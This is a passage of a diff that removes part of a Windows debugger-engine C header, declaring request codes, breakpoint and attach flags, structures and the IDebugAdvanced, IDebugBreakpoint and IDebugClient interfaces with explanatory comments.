-#define DEBUG_REQUEST_ADD_CACHED_SYMBOL_INFO 16
-
-// InBuffer - ULONG64 cookie.
-// OutBuffer - Unused.
-#define DEBUG_REQUEST_REMOVE_CACHED_SYMBOL_INFO 17
-
-// InBuffer - DEBUG_GET_TEXT_COMPLETIONS_IN.
-// OutBuffer - DEBUG_GET_TEXT_COMPLETIONS_OUT.
-#define DEBUG_REQUEST_GET_TEXT_COMPLETIONS_ANSI 18
-
-// InBuffer - Unused.
-// OutBuffer - Unused.
-#define DEBUG_REQUEST_CURRENT_OUTPUT_CALLBACKS_ARE_DML_AWARE 19
-
-// InBuffer - ULONG64 offset.
-// OutBuffer - Unwind information.
-#define DEBUG_REQUEST_GET_OFFSET_UNWIND_INFORMATION 20
-
-// InBuffer - Unused
-// OutBuffer - returned DUMP_HEADER32/DUMP_HEADER64 structure.
-#define DEBUG_REQUEST_GET_DUMP_HEADER 21
-
-// InBuffer - DUMP_HEADER32/DUMP_HEADER64 structure.
-// OutBuffer - Unused
-#define DEBUG_REQUEST_SET_DUMP_HEADER 22
-
-// InBuffer - Midori specific
-// OutBuffer - Midori specific
-#define DEBUG_REQUEST_MIDORI 23
-
-// InBuffer - Unused
-// OutBuffer - PROCESS_NAME_ENTRY blocks
-#define DEBUG_REQUEST_PROCESS_DESCRIPTORS 24
-
-// InBuffer - Unused
-// OutBuffer - MINIDUMP_MISC_INFO_N blocks
-#define DEBUG_REQUEST_MISC_INFORMATION 25
-
-// InBuffer - Unused
-// OutBuffer - ULONG64 as TokenHandle value
-#define DEBUG_REQUEST_OPEN_PROCESS_TOKEN 26
-
-// InBuffer - Unused
-// OutBuffer - ULONG64 as TokenHandle value
-#define DEBUG_REQUEST_OPEN_THREAD_TOKEN 27
-
-// InBuffer - ULONG64 as TokenHandle being duplicated
-// OutBuffer - ULONG64 as new duplicated TokenHandle
-#define DEBUG_REQUEST_DUPLICATE_TOKEN 28
-
-// InBuffer - a ULONG64 as TokenHandle and a ULONG as NtQueryInformationToken() request code
-// OutBuffer - NtQueryInformationToken() return
-#define DEBUG_REQUEST_QUERY_INFO_TOKEN 29
-
-// InBuffer - ULONG64 as TokenHandle
-// OutBuffer - Unused
-#define DEBUG_REQUEST_CLOSE_TOKEN 30
-
-
-
-//
-// GetSourceFileInformation requests.
-//
-
-// Arg64 - Module base.
-// Arg32 - Unused.
-#define DEBUG_SRCFILE_SYMBOL_TOKEN 0
-
-// Arg64 - Module base.
-// Arg32 - Unused.
-#define DEBUG_SRCFILE_SYMBOL_TOKEN_SOURCE_COMMAND_WIDE 1
-
-//
-// GetSymbolInformation requests.
-//
-
-// Arg64 - Unused.
-// Arg32 - Breakpoint ID.
-// Buffer - ULONG line number.
-// String - File name.
-#define DEBUG_SYMINFO_BREAKPOINT_SOURCE_LINE 0
-
-// Arg64 - Module base.
-// Arg32 - Unused.
-// Buffer - IMAGEHLP_MODULEW64.
-// String - Unused.
-#define DEBUG_SYMINFO_IMAGEHLP_MODULEW64 1
-
-// Arg64 - Offset.
-// Arg32 - Symbol tag.
-// Buffer - Unicode symbol name strings. Could have multiple strings.
-// String - Unused, strings are returned in Buffer as there
-// may be more than one.
-#define DEBUG_SYMINFO_GET_SYMBOL_NAME_BY_OFFSET_AND_TAG_WIDE 2
-
-// Arg64 - Module base.
-// Arg32 - Symbol tag.
-// Buffer - Array of symbol addresses.
-// String - Concatenated symbol strings. Individual symbol
-// strings are zero-terminated and the final string in
-// a symbol is double-zero-terminated.
-#define DEBUG_SYMINFO_GET_MODULE_SYMBOL_NAMES_AND_OFFSETS 3
-
-//
-// GetSystemObjectInformation requests.
-//
-
-// Arg64 - Unused.
-// Arg32 - Debugger thread ID.
-// Buffer - DEBUG_THREAD_BASIC_INFORMATION.
-#define DEBUG_SYSOBJINFO_THREAD_BASIC_INFORMATION 0
-
-// Arg64 - Unused.
-// Arg32 - Debugger thread ID.
-// Buffer - Unicode name string.
-#define DEBUG_SYSOBJINFO_THREAD_NAME_WIDE 1
-
-// Arg64 - Unused.
-// Arg32 - Unused.
-// Buffer - ULONG cookie value.
-#define DEBUG_SYSOBJINFO_CURRENT_PROCESS_COOKIE 2
-
-#define DEBUG_TBINFO_EXIT_STATUS 0x00000001
-#define DEBUG_TBINFO_PRIORITY_CLASS 0x00000002
-#define DEBUG_TBINFO_PRIORITY 0x00000004
-#define DEBUG_TBINFO_TIMES 0x00000008
-#define DEBUG_TBINFO_START_OFFSET 0x00000010
-#define DEBUG_TBINFO_AFFINITY 0x00000020
-#define DEBUG_TBINFO_ALL 0x0000003f
-
-typedef struct _DEBUG_THREAD_BASIC_INFORMATION
-{
- // Valid members have a DEBUG_TBINFO bit set in Valid.
- ULONG Valid;
- ULONG ExitStatus;
- ULONG PriorityClass;
- ULONG Priority;
- ULONG64 CreateTime;
- ULONG64 ExitTime;
- ULONG64 KernelTime;
- ULONG64 UserTime;
- ULONG64 StartOffset;
- ULONG64 Affinity;
-} DEBUG_THREAD_BASIC_INFORMATION, *PDEBUG_THREAD_BASIC_INFORMATION;
-
-#undef INTERFACE
-#define INTERFACE IDebugAdvanced2
-DECLARE_INTERFACE_(IDebugAdvanced2, IUnknown)
-{
- // IUnknown.
- STDMETHOD(QueryInterface)(
- THIS_
- __in REFIID InterfaceId,
- __out PVOID* Interface
- ) PURE;
- STDMETHOD_(ULONG, AddRef)(
- THIS
- ) PURE;
- STDMETHOD_(ULONG, Release)(
- THIS
- ) PURE;
-
- // IDebugAdvanced.
-
- // Get/SetThreadContext offer control over
- // the full processor context for a thread.
- // Higher-level functions, such as the
- // IDebugRegisters interface, allow similar
- // access in simpler and more generic ways.
- // Get/SetThreadContext are useful when
- // large amounts of thread context must
- // be changed and processor-specific code
- // is not a problem.
- STDMETHOD(GetThreadContext)(
- THIS_
- __out_bcount(ContextSize) /* align_is(16) */ PVOID Context,
- __in ULONG ContextSize
- ) PURE;
- STDMETHOD(SetThreadContext)(
- THIS_
- __in_bcount(ContextSize) /* align_is(16) */ PVOID Context,
- __in ULONG ContextSize
- ) PURE;
-
- // IDebugAdvanced2.
-
- //
- // Generalized open-ended methods for querying
- // and manipulation. The open-ended nature of
- // these methods makes it easy to add new requests,
- // although at a cost in convenience of calling.
- // Sufficiently common requests may have more specific,
- // simpler methods elsewhere.
- //
-
- STDMETHOD(Request)(
- THIS_
- __in ULONG Request,
- __in_bcount_opt(InBufferSize) PVOID InBuffer,
- __in ULONG InBufferSize,
- __out_bcount_opt(OutBufferSize) PVOID OutBuffer,
- __in ULONG OutBufferSize,
- __out_opt PULONG OutSize
- ) PURE;
-
- STDMETHOD(GetSourceFileInformation)(
- THIS_
- __in ULONG Which,
- __in PSTR SourceFile,
- __in ULONG64 Arg64,
- __in ULONG Arg32,
- __out_bcount_opt(BufferSize) PVOID Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG InfoSize
- ) PURE;
- STDMETHOD(FindSourceFileAndToken)(
- THIS_
- __in ULONG StartElement,
- __in ULONG64 ModAddr,
- __in PCSTR File,
- __in ULONG Flags,
- __in_bcount_opt(FileTokenSize) PVOID FileToken,
- __in ULONG FileTokenSize,
- __out_opt PULONG FoundElement,
- __out_ecount_opt(BufferSize) PSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG FoundSize
- ) PURE;
-
- STDMETHOD(GetSymbolInformation)(
- THIS_
- __in ULONG Which,
- __in ULONG64 Arg64,
- __in ULONG Arg32,
- __out_bcount_opt(BufferSize) PVOID Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG InfoSize,
- __out_ecount_opt(StringBufferSize) PSTR StringBuffer,
- __in ULONG StringBufferSize,
- __out_opt PULONG StringSize
- ) PURE;
-
- STDMETHOD(GetSystemObjectInformation)(
- THIS_
- __in ULONG Which,
- __in ULONG64 Arg64,
- __in ULONG Arg32,
- __out_bcount_opt(BufferSize) PVOID Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG InfoSize
- ) PURE;
-};
-
-#undef INTERFACE
-#define INTERFACE IDebugAdvanced3
-DECLARE_INTERFACE_(IDebugAdvanced3, IUnknown)
-{
- // IUnknown.
- STDMETHOD(QueryInterface)(
- THIS_
- __in REFIID InterfaceId,
- __out PVOID* Interface
- ) PURE;
- STDMETHOD_(ULONG, AddRef)(
- THIS
- ) PURE;
- STDMETHOD_(ULONG, Release)(
- THIS
- ) PURE;
-
- // IDebugAdvanced.
-
- // Get/SetThreadContext offer control over
- // the full processor context for a thread.
- // Higher-level functions, such as the
- // IDebugRegisters interface, allow similar
- // access in simpler and more generic ways.
- // Get/SetThreadContext are useful when
- // large amounts of thread context must
- // be changed and processor-specific code
- // is not a problem.
- STDMETHOD(GetThreadContext)(
- THIS_
- __out_bcount(ContextSize) /* align_is(16) */ PVOID Context,
- __in ULONG ContextSize
- ) PURE;
- STDMETHOD(SetThreadContext)(
- THIS_
- __in_bcount(ContextSize) /* align_is(16) */ PVOID Context,
- __in ULONG ContextSize
- ) PURE;
-
- // IDebugAdvanced2.
-
- //
- // Generalized open-ended methods for querying
- // and manipulation. The open-ended nature of
- // these methods makes it easy to add new requests,
- // although at a cost in convenience of calling.
- // Sufficiently common requests may have more specific,
- // simpler methods elsewhere.
- //
-
- STDMETHOD(Request)(
- THIS_
- __in ULONG Request,
- __in_bcount_opt(InBufferSize) PVOID InBuffer,
- __in ULONG InBufferSize,
- __out_bcount_opt(OutBufferSize) PVOID OutBuffer,
- __in ULONG OutBufferSize,
- __out_opt PULONG OutSize
- ) PURE;
-
- STDMETHOD(GetSourceFileInformation)(
- THIS_
- __in ULONG Which,
- __in PSTR SourceFile,
- __in ULONG64 Arg64,
- __in ULONG Arg32,
- __out_bcount_opt(BufferSize) PVOID Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG InfoSize
- ) PURE;
- STDMETHOD(FindSourceFileAndToken)(
- THIS_
- __in ULONG StartElement,
- __in ULONG64 ModAddr,
- __in PCSTR File,
- __in ULONG Flags,
- __in_bcount_opt(FileTokenSize) PVOID FileToken,
- __in ULONG FileTokenSize,
- __out_opt PULONG FoundElement,
- __out_ecount_opt(BufferSize) PSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG FoundSize
- ) PURE;
-
- STDMETHOD(GetSymbolInformation)(
- THIS_
- __in ULONG Which,
- __in ULONG64 Arg64,
- __in ULONG Arg32,
- __out_bcount_opt(BufferSize) PVOID Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG InfoSize,
- __out_ecount_opt(StringBufferSize) PSTR StringBuffer,
- __in ULONG StringBufferSize,
- __out_opt PULONG StringSize
- ) PURE;
-
- STDMETHOD(GetSystemObjectInformation)(
- THIS_
- __in ULONG Which,
- __in ULONG64 Arg64,
- __in ULONG Arg32,
- __out_bcount_opt(BufferSize) PVOID Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG InfoSize
- ) PURE;
-
- // IDebugAdvanced3.
-
- STDMETHOD(GetSourceFileInformationWide)(
- THIS_
- __in ULONG Which,
- __in PWSTR SourceFile,
- __in ULONG64 Arg64,
- __in ULONG Arg32,
- __out_bcount_opt(BufferSize) PVOID Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG InfoSize
- ) PURE;
- STDMETHOD(FindSourceFileAndTokenWide)(
- THIS_
- __in ULONG StartElement,
- __in ULONG64 ModAddr,
- __in PCWSTR File,
- __in ULONG Flags,
- __in_bcount_opt(FileTokenSize) PVOID FileToken,
- __in ULONG FileTokenSize,
- __out_opt PULONG FoundElement,
- __out_ecount_opt(BufferSize) PWSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG FoundSize
- ) PURE;
-
- STDMETHOD(GetSymbolInformationWide)(
- THIS_
- __in ULONG Which,
- __in ULONG64 Arg64,
- __in ULONG Arg32,
- __out_bcount_opt(BufferSize) PVOID Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG InfoSize,
- __out_ecount_opt(StringBufferSize) PWSTR StringBuffer,
- __in ULONG StringBufferSize,
- __out_opt PULONG StringSize
- ) PURE;
-};
-
-//----------------------------------------------------------------------------
-//
-// IDebugBreakpoint.
-//
-//----------------------------------------------------------------------------
-
-// Types of breakpoints.
-#define DEBUG_BREAKPOINT_CODE 0
-#define DEBUG_BREAKPOINT_DATA 1
-#define DEBUG_BREAKPOINT_TIME 2
-
-// Breakpoint flags.
-// Go-only breakpoints are only active when
-// the engine is in unrestricted execution
-// mode. They do not fire when the engine
-// is stepping.
-#define DEBUG_BREAKPOINT_GO_ONLY 0x00000001
-// A breakpoint is flagged as deferred as long as
-// its offset expression cannot be evaluated.
-// A deferred breakpoint is not active.
-#define DEBUG_BREAKPOINT_DEFERRED 0x00000002
-#define DEBUG_BREAKPOINT_ENABLED 0x00000004
-// The adder-only flag does not affect breakpoint
-// operation. It is just a marker to restrict
-// output and notifications for the breakpoint to
-// the client that added the breakpoint. Breakpoint
-// callbacks for adder-only breaks will only be delivered
-// to the adding client. The breakpoint can not
-// be enumerated and accessed by other clients.
-#define DEBUG_BREAKPOINT_ADDER_ONLY 0x00000008
-// One-shot breakpoints automatically clear themselves
-// the first time they are hit.
-#define DEBUG_BREAKPOINT_ONE_SHOT 0x00000010
-
-// Data breakpoint access types.
-// Different architectures support different
-// sets of these bits.
-#define DEBUG_BREAK_READ 0x00000001
-#define DEBUG_BREAK_WRITE 0x00000002
-#define DEBUG_BREAK_EXECUTE 0x00000004
-#define DEBUG_BREAK_IO 0x00000008
-
-// Structure for querying breakpoint information
-// all at once.
-typedef struct _DEBUG_BREAKPOINT_PARAMETERS
-{
- ULONG64 Offset;
- ULONG Id;
- ULONG BreakType;
- ULONG ProcType;
- ULONG Flags;
- ULONG DataSize;
- ULONG DataAccessType;
- ULONG PassCount;
- ULONG CurrentPassCount;
- ULONG MatchThread;
- ULONG CommandSize;
- ULONG OffsetExpressionSize;
-} DEBUG_BREAKPOINT_PARAMETERS, *PDEBUG_BREAKPOINT_PARAMETERS;
-
-#undef INTERFACE
-#define INTERFACE IDebugBreakpoint
-DECLARE_INTERFACE_(IDebugBreakpoint, IUnknown)
-{
- // IUnknown.
- STDMETHOD(QueryInterface)(
- THIS_
- __in REFIID InterfaceId,
- __out PVOID* Interface
- ) PURE;
- STDMETHOD_(ULONG, AddRef)(
- THIS
- ) PURE;
- STDMETHOD_(ULONG, Release)(
- THIS
- ) PURE;
-
- // IDebugBreakpoint.
-
- // Retrieves debugger engine unique ID
- // for the breakpoint. This ID is
- // fixed as long as the breakpoint exists
- // but after that may be reused.
- STDMETHOD(GetId)(
- THIS_
- __out PULONG Id
- ) PURE;
- // Retrieves the type of break and
- // processor type for the breakpoint.
- STDMETHOD(GetType)(
- THIS_
- __out PULONG BreakType,
- __out PULONG ProcType
- ) PURE;
- // Returns the client that called AddBreakpoint.
- STDMETHOD(GetAdder)(
- THIS_
- __out PDEBUG_CLIENT* Adder
- ) PURE;
-
- STDMETHOD(GetFlags)(
- THIS_
- __out PULONG Flags
- ) PURE;
- // Only certain flags can be changed. Flags
- // are: GO_ONLY, ENABLE.
- // Sets the given flags.
- STDMETHOD(AddFlags)(
- THIS_
- __in ULONG Flags
- ) PURE;
- // Clears the given flags.
- STDMETHOD(RemoveFlags)(
- THIS_
- __in ULONG Flags
- ) PURE;
- // Sets the flags.
- STDMETHOD(SetFlags)(
- THIS_
- __in ULONG Flags
- ) PURE;
-
- // Controls the offset of the breakpoint. The
- // interpretation of the offset value depends on
- // the type of breakpoint and its settings. It
- // may be a code address, a data address, an
- // I/O port, etc.
- STDMETHOD(GetOffset)(
- THIS_
- __out PULONG64 Offset
- ) PURE;
- STDMETHOD(SetOffset)(
- THIS_
- __in ULONG64 Offset
- ) PURE;
-
- // Data breakpoint methods will fail if the
- // target platform does not support the
- // parameters used.
- // These methods only function for breakpoints
- // created as data breakpoints.
- STDMETHOD(GetDataParameters)(
- THIS_
- __out PULONG Size,
- __out PULONG AccessType
- ) PURE;
- STDMETHOD(SetDataParameters)(
- THIS_
- __in ULONG Size,
- __in ULONG AccessType
- ) PURE;
-
- // Pass count defaults to one.
- STDMETHOD(GetPassCount)(
- THIS_
- __out PULONG Count
- ) PURE;
- STDMETHOD(SetPassCount)(
- THIS_
- __in ULONG Count
- ) PURE;
- // Gets the current number of times
- // the breakpoint has been hit since
- // it was last triggered.
- STDMETHOD(GetCurrentPassCount)(
- THIS_
- __out PULONG Count
- ) PURE;
-
- // If a match thread is set this breakpoint will
- // only trigger if it occurs on the match thread.
- // Otherwise it triggers for all threads.
- // Thread restrictions are not currently supported
- // in kernel mode.
- STDMETHOD(GetMatchThreadId)(
- THIS_
- __out PULONG Id
- ) PURE;
- STDMETHOD(SetMatchThreadId)(
- THIS_
- __in ULONG Thread
- ) PURE;
-
- // The command for a breakpoint is automatically
- // executed by the engine before the event
- // is propagated. If the breakpoint continues
- // execution the event will begin with a continue
- // status. If the breakpoint does not continue
- // the event will begin with a break status.
- // This allows breakpoint commands to participate
- // in the normal event status voting.
- // Breakpoint commands are only executed until
- // the first command that alters the execution
- // status, such as g, p and t.
- STDMETHOD(GetCommand)(
- THIS_
- __out_ecount_opt(BufferSize) PSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG CommandSize
- ) PURE;
- STDMETHOD(SetCommand)(
- THIS_
- __in PCSTR Command
- ) PURE;
-
- // Offset expressions are evaluated immediately
- // and at module load and unload events. If the
- // evaluation is successful the breakpoints
- // offset is updated and the breakpoint is
- // handled normally. If the expression cannot
- // be evaluated the breakpoint is deferred.
- // Currently the only offset expression
- // supported is a module-relative symbol
- // of the form !.
- STDMETHOD(GetOffsetExpression)(
- THIS_
- __out_ecount_opt(BufferSize) PSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG ExpressionSize
- ) PURE;
- STDMETHOD(SetOffsetExpression)(
- THIS_
- __in PCSTR Expression
- ) PURE;
-
- STDMETHOD(GetParameters)(
- THIS_
- __out PDEBUG_BREAKPOINT_PARAMETERS Params
- ) PURE;
-};
-
-#undef INTERFACE
-#define INTERFACE IDebugBreakpoint2
-DECLARE_INTERFACE_(IDebugBreakpoint2, IUnknown)
-{
- // IUnknown.
- STDMETHOD(QueryInterface)(
- THIS_
- __in REFIID InterfaceId,
- __out PVOID* Interface
- ) PURE;
- STDMETHOD_(ULONG, AddRef)(
- THIS
- ) PURE;
- STDMETHOD_(ULONG, Release)(
- THIS
- ) PURE;
-
- // IDebugBreakpoint.
-
- // Retrieves debugger engine unique ID
- // for the breakpoint. This ID is
- // fixed as long as the breakpoint exists
- // but after that may be reused.
- STDMETHOD(GetId)(
- THIS_
- __out PULONG Id
- ) PURE;
- // Retrieves the type of break and
- // processor type for the breakpoint.
- STDMETHOD(GetType)(
- THIS_
- __out PULONG BreakType,
- __out PULONG ProcType
- ) PURE;
- // Returns the client that called AddBreakpoint.
- STDMETHOD(GetAdder)(
- THIS_
- __out PDEBUG_CLIENT* Adder
- ) PURE;
-
- STDMETHOD(GetFlags)(
- THIS_
- __out PULONG Flags
- ) PURE;
- // Only certain flags can be changed. Flags
- // are: GO_ONLY, ENABLE.
- // Sets the given flags.
- STDMETHOD(AddFlags)(
- THIS_
- __in ULONG Flags
- ) PURE;
- // Clears the given flags.
- STDMETHOD(RemoveFlags)(
- THIS_
- __in ULONG Flags
- ) PURE;
- // Sets the flags.
- STDMETHOD(SetFlags)(
- THIS_
- __in ULONG Flags
- ) PURE;
-
- // Controls the offset of the breakpoint. The
- // interpretation of the offset value depends on
- // the type of breakpoint and its settings. It
- // may be a code address, a data address, an
- // I/O port, etc.
- STDMETHOD(GetOffset)(
- THIS_
- __out PULONG64 Offset
- ) PURE;
- STDMETHOD(SetOffset)(
- THIS_
- __in ULONG64 Offset
- ) PURE;
-
- // Data breakpoint methods will fail if the
- // target platform does not support the
- // parameters used.
- // These methods only function for breakpoints
- // created as data breakpoints.
- STDMETHOD(GetDataParameters)(
- THIS_
- __out PULONG Size,
- __out PULONG AccessType
- ) PURE;
- STDMETHOD(SetDataParameters)(
- THIS_
- __in ULONG Size,
- __in ULONG AccessType
- ) PURE;
-
- // Pass count defaults to one.
- STDMETHOD(GetPassCount)(
- THIS_
- __out PULONG Count
- ) PURE;
- STDMETHOD(SetPassCount)(
- THIS_
- __in ULONG Count
- ) PURE;
- // Gets the current number of times
- // the breakpoint has been hit since
- // it was last triggered.
- STDMETHOD(GetCurrentPassCount)(
- THIS_
- __out PULONG Count
- ) PURE;
-
- // If a match thread is set this breakpoint will
- // only trigger if it occurs on the match thread.
- // Otherwise it triggers for all threads.
- // Thread restrictions are not currently supported
- // in kernel mode.
- STDMETHOD(GetMatchThreadId)(
- THIS_
- __out PULONG Id
- ) PURE;
- STDMETHOD(SetMatchThreadId)(
- THIS_
- __in ULONG Thread
- ) PURE;
-
- // The command for a breakpoint is automatically
- // executed by the engine before the event
- // is propagated. If the breakpoint continues
- // execution the event will begin with a continue
- // status. If the breakpoint does not continue
- // the event will begin with a break status.
- // This allows breakpoint commands to participate
- // in the normal event status voting.
- // Breakpoint commands are only executed until
- // the first command that alters the execution
- // status, such as g, p and t.
- STDMETHOD(GetCommand)(
- THIS_
- __out_ecount_opt(BufferSize) PSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG CommandSize
- ) PURE;
- STDMETHOD(SetCommand)(
- THIS_
- __in PCSTR Command
- ) PURE;
-
- // Offset expressions are evaluated immediately
- // and at module load and unload events. If the
- // evaluation is successful the breakpoints
- // offset is updated and the breakpoint is
- // handled normally. If the expression cannot
- // be evaluated the breakpoint is deferred.
- // Currently the only offset expression
- // supported is a module-relative symbol
- // of the form !.
- STDMETHOD(GetOffsetExpression)(
- THIS_
- __out_ecount_opt(BufferSize) PSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG ExpressionSize
- ) PURE;
- STDMETHOD(SetOffsetExpression)(
- THIS_
- __in PCSTR Expression
- ) PURE;
-
- STDMETHOD(GetParameters)(
- THIS_
- __out PDEBUG_BREAKPOINT_PARAMETERS Params
- ) PURE;
-
- // IDebugBreakpoint2.
-
- STDMETHOD(GetCommandWide)(
- THIS_
- __out_ecount_opt(BufferSize) PWSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG CommandSize
- ) PURE;
- STDMETHOD(SetCommandWide)(
- THIS_
- __in PCWSTR Command
- ) PURE;
-
- STDMETHOD(GetOffsetExpressionWide)(
- THIS_
- __out_ecount_opt(BufferSize) PWSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG ExpressionSize
- ) PURE;
- STDMETHOD(SetOffsetExpressionWide)(
- THIS_
- __in PCWSTR Expression
- ) PURE;
-};
-
-//----------------------------------------------------------------------------
-//
-// IDebugClient.
-//
-//----------------------------------------------------------------------------
-
-// Kernel attach flags.
-#define DEBUG_ATTACH_KERNEL_CONNECTION 0x00000000
-// Attach to the local machine. If this flag is not set
-// a connection is made to a separate target machine using
-// the given connection options.
-#define DEBUG_ATTACH_LOCAL_KERNEL 0x00000001
-// Attach to an eXDI driver.
-#define DEBUG_ATTACH_EXDI_DRIVER 0x00000002
-
-// GetRunningProcessSystemIdByExecutableName flags.
-// By default the match allows a tail match on
-// just the filename. The match returns the first hit
-// even if multiple matches exist.
-#define DEBUG_GET_PROC_DEFAULT 0x00000000
-// The name must match fully.
-#define DEBUG_GET_PROC_FULL_MATCH 0x00000001
-// The match must be the only match.
-#define DEBUG_GET_PROC_ONLY_MATCH 0x00000002
-// The name is a service name instead of an executable name.
-#define DEBUG_GET_PROC_SERVICE_NAME 0x00000004
-
-// GetRunningProcessDescription flags.
-#define DEBUG_PROC_DESC_DEFAULT 0x00000000
-// Return only filenames, not full paths.
-#define DEBUG_PROC_DESC_NO_PATHS 0x00000001
-// Dont look up service names.
-#define DEBUG_PROC_DESC_NO_SERVICES 0x00000002
-// Dont look up MTS package names.
-#define DEBUG_PROC_DESC_NO_MTS_PACKAGES 0x00000004
-// Dont retrieve the command line.
-#define DEBUG_PROC_DESC_NO_COMMAND_LINE 0x00000008
-// Dont retrieve the session ID.
-#define DEBUG_PROC_DESC_NO_SESSION_ID 0x00000010
-// Dont retrieve the process's user name.
-#define DEBUG_PROC_DESC_NO_USER_NAME 0x00000020
-
-//
-// Attach flags.
-//
-
-// Call DebugActiveProcess when attaching.
-#define DEBUG_ATTACH_DEFAULT 0x00000000
-// When attaching to a process just examine
-// the process state and suspend the threads.
-// DebugActiveProcess is not called so the process
-// is not actually being debugged. This is useful
-// for debugging processes holding locks which
-// interfere with the operation of DebugActiveProcess
-// or in situations where it is not desirable to
-// actually set up as a debugger.
-#define DEBUG_ATTACH_NONINVASIVE 0x00000001
-// Attempt to attach to a process that was abandoned
-// when being debugged. This is only supported in
-// some system versions.
-// This flag also allows multiple debuggers to
-// attach to the same process, which can result
-// in numerous problems unless very carefully
-// managed.
-#define DEBUG_ATTACH_EXISTING 0x00000002
-// When attaching non-invasively, do not suspend
-// threads. It is the callers responsibility
-// to either suspend the threads itself or be
-// aware that the attach state may not reflect
-// the current state of the process if threads
-// are still running.
-#define DEBUG_ATTACH_NONINVASIVE_NO_SUSPEND 0x00000004
-// When doing an invasive attach do not inject
-// a break-in thread to generate the initial break-in
-// event. This can be useful to save resources when
-// an initial break is not necessary or when injecting
-// a thread might affect the debuggee's state. This
-// option is only supported on Windows XP and above.
-#define DEBUG_ATTACH_INVASIVE_NO_INITIAL_BREAK 0x00000008
-// When doing an invasive attach resume all threads at the
-// time of attach. This makes it possible to attach
-// to a process created suspended and cause it to start running.
-#define DEBUG_ATTACH_INVASIVE_RESUME_PROCESS 0x00000010
-// When doing a non-invasive attach the engine must
-// recover information for all debuggee elements. The
-// engine may not have permissions for all elements,
-// for example it may not be able to open all threads,
-// and that would ordinarily block the attach. This
-// flag allows unusable elements to be ignored.
-#define DEBUG_ATTACH_NONINVASIVE_ALLOW_PARTIAL 0x00000020
-
-
-//
-// Process creation flags to merge with Win32 flags.
-//
-
-// On Windows XP this flag prevents the debug
-// heap from being used in the new process.
-#define DEBUG_CREATE_PROCESS_NO_DEBUG_HEAP CREATE_UNICODE_ENVIRONMENT
-// Indicates that the native NT RTL process creation
-// routines should be used instead of Win32. This
-// is only meaningful for special processes that run
-// as NT native processes.
-#define DEBUG_CREATE_PROCESS_THROUGH_RTL STACK_SIZE_PARAM_IS_A_RESERVATION
-
-//
-// Process creation flags specific to the debugger engine.
-//
-
-#define DEBUG_ECREATE_PROCESS_DEFAULT 0x00000000
-#define DEBUG_ECREATE_PROCESS_INHERIT_HANDLES 0x00000001
-#define DEBUG_ECREATE_PROCESS_USE_VERIFIER_FLAGS 0x00000002
-#define DEBUG_ECREATE_PROCESS_USE_IMPLICIT_COMMAND_LINE 0x00000004
-
-typedef struct _DEBUG_CREATE_PROCESS_OPTIONS
-{
- // Win32 create flags.
- ULONG CreateFlags;
- // DEBUG_ECREATE_PROCESS_* flags.
- ULONG EngCreateFlags;
- // Application Verifier flags,
- // if DEBUG_ECREATE_PROCESS_USE_VERIFIER_FLAGS is set.
- ULONG VerifierFlags;
- // Must be zero.
- ULONG Reserved;
-} DEBUG_CREATE_PROCESS_OPTIONS, *PDEBUG_CREATE_PROCESS_OPTIONS;
-
-//
-// Process options.
-//
-
-// Indicates that the debuggee process should be
-// automatically detached when the debugger exits.
-// A debugger can explicitly detach on exit or this
-// flag can be set so that detach occurs regardless
-// of how the debugger exits.
-// This is only supported on some system versions.
-#define DEBUG_PROCESS_DETACH_ON_EXIT 0x00000001
-// Indicates that processes created by the current
-// process should not be debugged.
-// Modifying this flag is only supported on some
-// system versions.
-#define DEBUG_PROCESS_ONLY_THIS_PROCESS 0x00000002
-
-// ConnectSession flags.
-// Default connect.
-#define DEBUG_CONNECT_SESSION_DEFAULT 0x00000000
-// Do not output the debugger version.
-#define DEBUG_CONNECT_SESSION_NO_VERSION 0x00000001
-// Do not announce the connection.
-#define DEBUG_CONNECT_SESSION_NO_ANNOUNCE 0x00000002
-
-// OutputServers flags.
-// Debugger servers from StartSever.
-#define DEBUG_SERVERS_DEBUGGER 0x00000001
-// Process servers from StartProcessServer.
-#define DEBUG_SERVERS_PROCESS 0x00000002
-#define DEBUG_SERVERS_ALL 0x00000003
-
-// EndSession flags.
-// Perform cleanup for the session.
-#define DEBUG_END_PASSIVE 0x00000000
-// Actively terminate the session and then perform cleanup.
-#define DEBUG_END_ACTIVE_TERMINATE 0x00000001
-// If possible, detach from all processes and then perform cleanup.
-#define DEBUG_END_ACTIVE_DETACH 0x00000002
-// Perform whatever cleanup is possible that doesn't require
-// acquiring any locks. This is useful for situations where
-// a thread is currently using the engine but the application
-// needs to exit and still wants to give the engine
-// the opportunity to clean up as much as possible.
-// This may leave the engine in an indeterminate state so
-// further engine calls should not be made.
-// When making a reentrant EndSession call from a remote
-// client it is the callers responsibility to ensure
-// that the server can process the request. It is best
-// to avoid making such calls.
-#define DEBUG_END_REENTRANT 0x00000003
-// Notify a server that a remote client is disconnecting.
-// This isnt required but if it isnt called then
-// no disconnect messages will be generated by the server.
-#define DEBUG_END_DISCONNECT 0x00000004
-
-// Output mask bits.
-// Normal output.
-#define DEBUG_OUTPUT_NORMAL 0x00000001
-// Error output.
-#define DEBUG_OUTPUT_ERROR 0x00000002
-// Warnings.
-#define DEBUG_OUTPUT_WARNING 0x00000004
-// Additional output.
-#define DEBUG_OUTPUT_VERBOSE 0x00000008
-// Prompt output.
-#define DEBUG_OUTPUT_PROMPT 0x00000010
-// Register dump before prompt.
-#define DEBUG_OUTPUT_PROMPT_REGISTERS 0x00000020
-// Warnings specific to extension operation.
-#define DEBUG_OUTPUT_EXTENSION_WARNING 0x00000040
-// Debuggee debug output, such as from OutputDebugString.
-#define DEBUG_OUTPUT_DEBUGGEE 0x00000080
-// Debuggee-generated prompt, such as from DbgPrompt.
